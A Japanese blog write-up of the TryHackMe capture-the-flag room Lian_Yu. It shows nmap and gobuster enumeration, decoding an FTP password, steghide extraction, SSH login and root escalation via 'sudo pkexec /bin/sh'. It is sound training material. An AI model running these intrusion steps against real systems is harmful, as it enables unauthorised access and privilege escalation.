TryHackMe Writeup：Lian_Yu

# はじめに
本記事はTryHackMeのWriteupです。
Roomは[Lian_Yu](https://tryhackme.com/room/lianyu)で、Difficulty（難易度）はEasyです。

Lian_YuはDCコミックスの[ARROW/アロー](https://ja.wikipedia.org/wiki/ARROW/%E3%82%A2%E3%83%AD%E3%83%BC)がコンセプトになっています。海外ドラマ化もされています。

課題についてフラグゲットは容易いですが、SSHで侵入するまでのプロセスについて、効率よく調査するためには合理的な思考が必要です。

以下、フラグゲットするまでの道のりについて、考え方やツールの使用方法について記載しています。

## Find the Flags
はじめに偵察行為から行います。
偵察行為については以前書いた[Content Discovery Webアプリケーションに対する偵察行為](https://qiita.com/Brutus/items/6b89c9518ea90695232f)を参照。

### ポートスキャン
空いているポートを特定するためには**Nmap**を使用します。
ここでは事前に用意したシェルを介してポートスキャンを実行しています。

`$ ./nmap.sh ＜対象ホストのIPアドレス＞`

```console
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 18:24 JST
Nmap scan report for 10.10.158.87
Host is up (0.26s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp    open  http    Apache httpd
|_http-title: Purgatory
|_http-server-header: Apache
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34016/tcp   status
|   100024  1          35231/udp6  status
|   100024  1          54382/udp   status
|_  100024  1          54531/tcp6  status
34016/tcp open  status  1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.17 seconds
```

ポートスキャンの結果から21番、22番、80番等主要なサービスのポート番号が確認できます。
まずはftpを用いてanonymousでログインできるか確認します。

`$ ftp ＜対象ホストのIPアドレス＞`

```console
Connected to 10.10.158.87.
220 (vsFTPd 3.0.2)
Name (10.10.158.87:kali): anonymous
530 Permission denied.
ftp: Login failed
```

anonymousは許可されていないため、ログインできませんでした。
引き続き、偵察行為としてコンテンツの探索を行います。

### コンテンツの探索
ブラウザを起動してHTTPでアクセスすると、Lian Yuの孤島が表示されています。
タイトルのLian Yuとは、ARROWの過去編の主な舞台となる、太平洋上の孤島のことです。

![スクリーンショット 2022-08-15 21.53.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/e59543b2-97c8-ef8c-f450-704542f876cb.png)

**gobuster**を実行してコンテンツを探索します。

`$ gobuster dir --url http://＜対象ホストのIPアドレス＞ --wordlist /usr/share/wordlists/dirb/common.txt`

```console
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.158.87
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/08/14 18:32:54 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 2506]
/server-status        (Status: 403) [Size: 199] 
                                                
===============================================================
2022/08/14 18:34:56 Finished
===============================================================
```

`/usr/share/wordlists/dirb/common.txt`のワードリストでは、特に期待した結果は得られませんでした。

何も検出できなかったため、`/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`にワードリストを変更して実行します。

`$ gobuster dir -u http://＜対象ホストのIPアドレス＞ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`

```console
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.158.87
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/08/14 18:36:44 Starting gobuster in directory enumeration mode
===============================================================
/island               (Status: 301) [Size: 235] [--> http://10.10.158.87/island/]
Progress: 16147 / 220561 (7.32%)                                                ^C
[!] Keyboard interrupt detected, terminating.
                                                                                 
===============================================================
2022/08/14 18:43:51 Finished
===============================================================
```

`island`のパスを発見しました。
`island`のパスにアクセスすると、`The Code Word is:`の怪しいメッセージが表示されています。

![スクリーンショット 2022-08-15 22.04.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/e45492f6-46c6-6a50-2792-cd4008a639b3.png)

HTMLのソースを見ると、隠されたテキストを発見しました。

![スクリーンショット 2022-08-15 21.58.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/df08be10-afe7-b038-6fcd-113fe0a1044e.png)

ftpで使用可能なユーザーを特定しました。しかし、パスワードが分からないため、まだ調査が必要です。

```console
Connected to 10.10.82.119.
220 (vsFTPd 3.0.2)
Name (10.10.82.119:kali): vigilante
331 Please specify the password.
Password: 
````

引き続き、パスに`island`を付加して実行します。

`$ gobuster dir -u http://＜対象ホストのIPアドレス＞/island  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`

```console
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.82.119/island
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/08/15 22:00:56 Starting gobuster in directory enumeration mode
===============================================================
/2100                 (Status: 301) [Size: 240] [--> http://10.10.82.119/island/2100/]
Progress: 7938 / 220561 (3.60%)                                                      ^C
[!] Keyboard interrupt detected, terminating.
                                                                                      
===============================================================
2022/08/15 22:04:29 Finished
===============================================================
```

`2100`のパスを発見しました。
またもや`2100`にアクセスするとメッセージが表示されていますが、めぼしいものはありません。

![スクリーンショット 2022-08-15 22.02.52.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/af95b904-8914-920a-39aa-535fe8841f92.png)

また、HTMLのソースを見ると、ヒントを発見しました。
コメント内容からまだ何かありそうです。

![スクリーンショット 2022-08-15 22.03.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/4d8984e5-f066-6259-264f-adcbdb547bb6.png)

コメントで発見した`.ticket`ファイルを探索するために、`-x`オプションを付与して実行します。

`gobuster dir -u http://＜対象ホストのIPアドレス＞/island/2100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .ticket`
```console
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.82.119/island/2100
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              ticket
[+] Timeout:                 10s
===============================================================
2022/08/15 22:06:39 Starting gobuster in directory enumeration mode
===============================================================
/green_arrow.ticket   (Status: 200) [Size: 71]
Progress: 21148 / 441122 (4.79%)             ^C
[!] Keyboard interrupt detected, terminating.
                                              
===============================================================
2022/08/15 22:16:03 Finished
===============================================================
```

チケットのパスを発見しました。
アクセスすると、何か表示されています。どうやらトークンのようです。

![スクリーンショット 2022-08-15 22.17.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/f70d9191-7be1-e9e9-0a3a-b0b06693f8c6.png)

このトークンはこのままでは使用することができません。
ルームのヒントを参考に[CyberChef](https://gchq.github.io/CyberChef/)で解析します。
トークンは[Base58](https://ja.wikipedia.org/wiki/Base58)で符号化されていました。正しいパスワードを取得します。

### ステガノグラフィー
ステガノグラフィーは情報を隠蔽する技術です。
ステガノグラフィーについては以前書いた[スペクトログラムとステガノグラフィー](https://qiita.com/Brutus/items/7a3eecf2e42d11d88e82)を参照。

ftpを用いて`vigilante`ユーザーでログインします。
デコードしたトークンでログインできました。

`$ ftp ＜対象ホストのIPアドレス＞`

```console
Connected to 10.10.158.87.
220 (vsFTPd 3.0.2)
Name (10.10.158.87:kali): vigilante
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

以下のコマンドを実行して、ファイルを確認します。
`ftp> ls -al`

```console
229 Entering Extended Passive Mode (|||51141|).
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 May 05  2020 .
drwxr-xr-x    4 0        0            4096 May 01  2020 ..
-rw-------    1 1001     1001           44 May 01  2020 .bash_history
-rw-r--r--    1 1001     1001          220 May 01  2020 .bash_logout
-rw-r--r--    1 1001     1001         3515 May 01  2020 .bashrc
-rw-r--r--    1 0        0            2483 May 01  2020 .other_user
-rw-r--r--    1 1001     1001          675 May 01  2020 .profile
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.
```

いくつかの画像ファイルがあります。
複数のファイルを一括でダウンロードするには`mget`コマンドを使用しますが、1ファイル毎に応答が求められます。
以下のコマンドを実行して、対話型ダウンロードモードを無効にします。

`ftp> prompt`

```console
Interactive mode off.`
```

`mget`コマンドを使用して一括でダウンロードします。

`ftp> mget *`


```console
local: Leave_me_alone.png remote: Leave_me_alone.png
229 Entering Extended Passive Mode (|||23118|).
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
100% |***********************************************************************************************|   499 KiB  320.11 KiB/s    00:00 ETA
226 Transfer complete.
511720 bytes received in 00:01 (274.45 KiB/s)
local: Queen's_Gambit.png remote: Queen's_Gambit.png
229 Entering Extended Passive Mode (|||35907|).
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
100% |***********************************************************************************************|   537 KiB  343.59 KiB/s    00:00 ETA
226 Transfer complete.
549924 bytes received in 00:01 (294.71 KiB/s)
local: aa.jpg remote: aa.jpg
229 Entering Extended Passive Mode (|||54940|).
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
100% |***********************************************************************************************|   186 KiB  226.90 KiB/s    00:00 ETA
226 Transfer complete.
191026 bytes received in 00:01 (172.48 KiB/s)
```

これらファイルは全て画像ファイルですが、不審な点としては`Leave_me_alone.png`ファイルが開けません。
中身を確認すると、PNGファイルですがマジックナンバーが違います。そのため、ファイルが開けませんでした。

`$ od -tx1c Leave_me_alone.png | head`

```console
0000000  58  45  6f  ae  0a  0d  1a  0a  00  00  00  0d  49  48  44  52
          X   E   o 256  \n  \r 032  \n  \0  \0  \0  \r   I   H   D   R
0000020  00  00  03  4d  00  00  01  db  08  06  00  00  00  17  a3  71
         \0  \0 003   M  \0  \0 001 333  \b 006  \0  \0  \0 027 243   q
0000040  5b  00  00  20  00  49  44  41  54  78  9c  ac  bd  e9  7a  24
          [  \0  \0      \0   I   D   A   T   x 234 254 275 351   z   $
0000060  4b  6e  25  08  33  f7  e0  92  64  66  de  a5  55  7b  69  34
          K   n   %  \b   3 367 340 222   d   f 336 245   U   {   i   4
0000100  6a  69  54  fd  f5  73  ce  bc  c0  3c  9c  7e  b4  d4  a5  56
          j   i   T 375 365   s 316 274 300   < 234   ~ 264 324 245   V

```

PNGの場合、ファイルシグネチャは`89 50 4E 47 0D 0A 1A 0A`で固定です。
ファイルを修正するため、バイナリエディターを使用して編集します。
以下は**hexeditor**の例です。

`hexeditor Leave_me_alone.png`

![スクリーンショット 2022-08-15 23.02.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/a5e5cbd3-146d-5476-85a0-2de6a7ee4f0f.png)

復元した画像ファイルを開くと、パスワードが確認できました。

![スクリーンショット 2022-08-15 23.03.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/2ce900f3-6a2d-c2ec-ba01-3054c5f9dd69.png)

まだ謎があるため、更に画像ファイルを調査します。
**steghide**を使用して、他の画像ファイルからテキストファイルを抽出します。

`$ steghide extract -sf aa.jpg`

以下のファイルが抽出されました。

```console
-rw-r--r-- 1 kali kali    596  8月 14 22:34  ss.zip
```

`unzip`コマンドで展開します。

```console
Archive:  ss.zip
  inflating: passwd.txt              
  inflating: shado  
```

以下のファイルが抽出されました。

```console
-rw-r--r-- 1 kali kali    333  4æ 28  2020  passwd.txt
```

中身を確認すると、SSHのパスワードになります。
これで全てのピースが揃いました。

### 権限昇格
最後はフラグをゲットする旅です。

#### user.txt
上記、`passwd.txt`ファイルを基に、`slade`ユーザーでsshでログインします。

`$ ssh slade@＜対象ホストのIPアドレス＞`

```console
slade@10.10.158.87's password: 
			      Way To SSH...
			  Loading.........Done.. 
		   Connecting To Lian_Yu  Happy Hacking

██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗ 
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝ 
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝


	██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗
	██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║
	██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║
	██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║
	███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝
	╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝  #
```

作業しやすいように`alias`を設定します。

`slade@LianYu:~$ alias ll='ls -l'`

ファイルを確認します。

`slade@LianYu:~$ ll`

ユーザーファイルを確認しました。

```console
total 4
-r-------- 1 slade slade 63 May  1  2020 user.txt
```

#### root.txt
特権を取得するため、以下のコマンドを実行して確認します。

`slade@LianYu:~$ sudo -l`

```console
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
```

`pkexec`コマンドが確認できました。
[GTFOBins](https://gtfobins.github.io/)を使用して脆弱性を探すと、`sudo`の脆弱性が確認できます。

以下のコマンドを実行して、管理者権限を取得します。

`slade@LianYu:~$ sudo pkexec /bin/sh`

rootユーザーに昇格しました。

```console
# id
uid=0(root) gid=0(root) groups=0(root)
```

# おわりに
以上、Lian_YuのWriteupでした。

ポイントはメッセージを参考にしながら、怪しいディレクトリを見つけたらブルートフォースで効率的に探索することです。

ARROWは海外ドラマを見ていたので、また見たいと思いました。